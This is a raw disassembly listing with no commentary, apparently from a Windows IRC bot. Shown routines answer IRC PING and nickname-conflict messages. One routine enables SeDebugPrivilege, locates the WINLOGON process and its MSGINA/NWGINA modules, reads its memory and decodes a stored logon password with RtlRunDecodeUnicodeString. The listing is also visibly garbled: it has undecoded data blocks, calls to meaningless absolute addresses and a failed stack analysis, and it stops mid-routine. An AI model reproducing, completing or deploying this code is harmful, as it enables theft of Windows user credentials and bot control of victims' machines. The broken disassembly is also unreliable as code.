		dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh
		dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h
		dd 8DFFFFFEh, 0FFFDE885h, 0DC6850FFh, 8D00437Fh, 0FFFB6485h
		dd 20068FFh, 0E8500000h, 4C60h,	3910C483h, 2075F85Dh, 64858D53h
		dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h
		dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh
		dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh
		dd 5Dh,	5018C483h, 0FB64858Dh, 0BC68FFFFh, 5000437Fh, 4B05E8h
		dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h,	50F475FFh
		dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh
		dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h
		dd 535959FFh, 2C923BE8h, 5E5F9002h, 0EC8B555Bh,	54CEC81h
		dd 56530000h, 104BE57h,	75FF0000h, 0B8858D18h, 68FFFFFDh
		dd 438020h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h
		dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h
		dd 0C4BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h
		dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h
		dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh
		dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh
		dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h
		dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 34917FE8h, 0C0859002h
		dd 75FF8F75h, 71E890FCh, 0FF023291h, 858D1475h,	0FFFFFDB8h
		dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h,	0FFFFFEBCh
		dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh
		dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 43800468h
		dd 2006800h, 0E8500000h, 4AA0h,	858D016Ah, 0FFFFFAB4h
		dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh,	858D28C4h
		dd 0FFFFFEBCh, 0F9E85650h, 90023490h, 0B175C085h, 90EEE856h
		dd 8B900232h, 5E5F1C45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1B	proc near		; DATA XREF: sub_401ACD+1CD0o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F5
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F5A
		cmp	eax, 2
		jz	short loc_416F5A
		push	offset unk_4381F8
		jmp	loc_417099
; ---------------------------------------------------------------------------


loc_416F5A:				; CODE XREF: sub_416F1B+2Ej
					; sub_416F1B+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417094
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26A0C87h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D44CC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D44C0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46D0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D44C8, eax
		call	esi
		mov	dword_4D44C4, eax
		call	sub_4170ED
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417067
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D34C0
		push	edi
		push	ebx
		push	offset off_438134
		call	esi
		push	edi
		mov	edi, offset dword_4D3CC0
		push	edi
		push	offset off_43811C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D46D8
		push	[ebp+arg_0]
		jnz	short loc_417013
		call	sub_417276
		jmp	short loc_417018
; ---------------------------------------------------------------------------


loc_417013:				; CODE XREF: sub_416F1B+EFj
		call	sub_41741D


loc_417018:				; CODE XREF: sub_416F1B+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417060
		cmp	dword_4D46D8, 0
		jnz	short loc_417047
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4380C0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_41707A
; ---------------------------------------------------------------------------


loc_417047:				; CODE XREF: sub_416F1B+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417057
		call	sub_417553
		jmp	short loc_41705C
; ---------------------------------------------------------------------------


loc_417057:				; CODE XREF: sub_416F1B+133j
		call	sub_4175EA


loc_41705C:				; CODE XREF: sub_416F1B+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417060:				; CODE XREF: sub_416F1B+101j
		push	offset unk_438088
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417067:				; CODE XREF: sub_416F1B+B6j
		push	offset unk_43805C


loc_41706C:				; CODE XREF: sub_416F1B+143j
					; sub_416F1B+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41707A:				; CODE XREF: sub_416F1B+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 2790000h
		pop	ebx
		jmp	short loc_4170A7
; ---------------------------------------------------------------------------


loc_417094:				; CODE XREF: sub_416F1B+4Ej
		push	offset unk_438028


loc_417099:				; CODE XREF: sub_416F1B+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A7:				; CODE XREF: sub_416F1B+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CE
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A73
		add	esp, 14h


loc_4170CE:				; CODE XREF: sub_416F1B+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AD
		push	[ebp+var_18]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_416F1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170ED	proc near		; CODE XREF: sub_416F1B+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D44CC
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27A0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D44CC
		test	eax, eax
		jnz	short loc_4171DA
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171DA
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171DA


loc_417176:				; CODE XREF: sub_4170ED+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CD
		push	0
		push	0
		call	dword_4D44C0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46D0
		test	eax, eax
		jnz	short loc_4171BE
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F2


loc_4171BE:				; CODE XREF: sub_4170ED+AAj
		test	edi, edi
		jz	short loc_4171C9
		push	edi
		call	dword_4D44C8


loc_4171C9:				; CODE XREF: sub_4170ED+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CD:				; CODE XREF: sub_4170ED+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417176


loc_4171DA:				; CODE XREF: sub_4170ED+6Dj
					; sub_4170ED+7Aj ...
		xor	edi, edi


loc_4171DC:				; CODE XREF: sub_4170ED+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	eax, edi


loc_4171EA:				; CODE XREF: sub_4170ED+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F2:				; CODE XREF: sub_4170ED+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725B
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417208:				; CODE XREF: sub_4170ED+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726F
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724D
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724D:				; CODE XREF: sub_4170ED+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417208


loc_41725B:				; CODE XREF: sub_4170ED+10Fj
		test	edi, edi
		jz	short loc_417266
		push	edi
		call	dword_4D44C8


loc_417266:				; CODE XREF: sub_4170ED+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DC
; ---------------------------------------------------------------------------


loc_41726F:				; CODE XREF: sub_4170ED+13Cj
		xor	eax, eax
		jmp	loc_4171EA
sub_4170ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417276	proc near		; CODE XREF: sub_416F1B+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2680253h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729F
		xor	eax, eax
		jmp	loc_41741A
; ---------------------------------------------------------------------------


loc_41729F:				; CODE XREF: sub_417276+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27C0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EF
		xor	esi, esi
		jmp	loc_41740D
; ---------------------------------------------------------------------------


loc_4172EF:				; CODE XREF: sub_417276+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27B0B13h
		nop
		test	eax, eax
		jz	loc_4173FC
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FC
		test	[ebp+var_2B], 1
		jnz	loc_4173FC
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FC


loc_417352:				; CODE XREF: sub_417276+112j
		push	edi
		push	offset dword_4D34C0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41737A
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3CC0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41738A


loc_41737A:				; CODE XREF: sub_417276+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FC
		jmp	short loc_417352
; ---------------------------------------------------------------------------


loc_41738A:				; CODE XREF: sub_417276+102j
		test	edi, edi
		jz	short loc_4173FC
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2750000h
		nop
		test	eax, eax
		jz	short loc_4173C5
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 274095Fh
		test	eax, eax
		jz	short loc_4173C5
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C5:				; CODE XREF: sub_417276+12Bj
					; sub_417276+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46E4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46DC, eax
		mov	dword_4D46E0, edi


loc_4173FC:				; CODE XREF: sub_417276+90j
					; sub_417276+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	esi, [ebp+var_10]


loc_41740D:				; CODE XREF: sub_417276+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26608E1h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_41741A:				; CODE XREF: sub_417276+24j
		pop	esi
		leave
		retn
sub_417276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741D	proc near		; CODE XREF: sub_416F1B:loc_417013p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 2680253h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417506
		mov	edi, dword_427148


loc_417468:				; CODE XREF: sub_41741D+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27B0B13h
		nop
		test	eax, eax
		jz	short loc_4174F4
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174FA
		test	[ebp+var_13], 1
		jnz	short loc_4174FA
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27B0D84h
		test	eax, eax
		jz	short loc_4174E6
		push	offset dword_4D34C0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E6
		lea	eax, [esi+400h]
		push	offset dword_4D3CC0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417516


loc_4174E6:				; CODE XREF: sub_41741D+9Fj
					; sub_41741D+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27A0000h
		nop
		jmp	short loc_4174FA
; ---------------------------------------------------------------------------


loc_4174F4:				; CODE XREF: sub_41741D+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174FA:				; CODE XREF: sub_41741D+71j
					; sub_41741D+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417468


loc_417506:				; CODE XREF: sub_41741D+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 26608E1h


loc_41750F:				; CODE XREF: sub_41741D+1Ej
		xor	eax, eax


loc_417511:				; CODE XREF: sub_41741D+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417516:				; CODE XREF: sub_41741D+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46DC, ebx
		mov	dword_4D46E0, eax
		cmp	[eax], cl
		jnz	short loc_417538
		cmp	[eax+1], cl
		jz	short loc_417540


loc_417538:				; CODE XREF: sub_41741D+114j
					; sub_41741D+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417538


loc_417540:				; CODE XREF: sub_41741D+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26608E1h
		push	1
		pop	eax
		jmp	short loc_417511
sub_41741D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417553	proc near		; CODE XREF: sub_416F1B+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46D8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	ecx, dword_4D46D8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D46E0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46E4
		push	eax
		call	dword_4D44C4
		push	[ebp+var_4]
		mov	edi, offset dword_4D44D0
		push	offset dword_4D34C0
		push	offset dword_4D3CC0
		push	[ebp+arg_0]
		push	offset dword_438244
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175EA	proc near		; CODE XREF: sub_416F1B:loc_417057p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46D8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27B0AD9h
		push	eax
		nop
		call	near ptr 27B0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3CC0
		mov	edi, 200h
		mov	esi, offset dword_4D32C0


loc_417630:				; CODE XREF: sub_4175EA+FAj
		mov	eax, dword_4D46D8
		add	eax, eax
		push	eax
		push	dword_4D46E0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D44C4
		mov	eax, dword_4D46D8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A5


loc_41766D:				; CODE XREF: sub_4175EA+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417691
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417691
		cmp	dl, 20h
		jnb	short loc_41768B
		and	[ebp+var_8], 0


loc_41768B:				; CODE XREF: sub_4175EA+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417695


loc_417691:				; CODE XREF: sub_4175EA+90j
					; sub_4175EA+96j
		and	[ebp+var_8], 0


loc_417695:				; CODE XREF: sub_4175EA+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766D
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2


loc_4176A5:				; CODE XREF: sub_4175EA+81j
		push	[ebp+var_14]
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438244
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176C2:				; CODE XREF: sub_4175EA+87j
					; sub_4175EA+B9j
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438294
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176DA:				; CODE XREF: sub_4175EA+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417630
		push	[ebp+var_14]
		push	0
		call	near ptr 27B0AD9h
		nop
		push	eax
		call	near ptr 27A0000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417703	proc near		; CODE XREF: sub_4178BB+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_417764
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_41777F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417764:				; CODE XREF: sub_417703+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_417783
		push	edi
		call	dword_4CB6EC


loc_41777F:				; CODE XREF: sub_417703+1Bj
					; sub_417703+58j
		mov	eax, esi
		jmp	short loc_417785
; ---------------------------------------------------------------------------


loc_417783:				; CODE XREF: sub_417703+73j
		mov	eax, edi


loc_417785:				; CODE XREF: sub_417703+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================



sub_417789	proc near		; CODE XREF: sub_401ACD+3295p
					; sub_401ACD+3301p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A0A0 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D46EC
		pop	ecx


loc_4177A1:				; CODE XREF: sub_417789+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BF
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BF
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB6A4


loc_4177BF:				; CODE XREF: sub_417789+1Cj
					; sub_417789+21j
		add	esi, 210h
		cmp	esi, offset dword_4DAE0C
		jl	short loc_4177A1
		pop	edi
		pop	esi
		retn
sub_417789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177D0	proc near		; CODE XREF: sub_4178BB+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D124 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F5:				; CODE XREF: sub_4177D0+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F5
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781D
		cmp	esi, edi
		jnz	short loc_41781D
		push	1
		pop	eax
		jmp	loc_4178B6
; ---------------------------------------------------------------------------


loc_41781D:				; CODE XREF: sub_4177D0+3Fj
					; sub_4177D0+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417838
		push	offset dword_438EA4
		jmp	short loc_417886
; ---------------------------------------------------------------------------


loc_417838:				; CODE XREF: sub_4177D0+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417859
		push	esi
		push	offset dword_438EA0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B4


loc_417859:				; CODE XREF: sub_4177D0+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADE
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_438E94


loc_417886:				; CODE XREF: sub_4177D0+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_4178B4:				; CODE XREF: sub_4177D0+87j
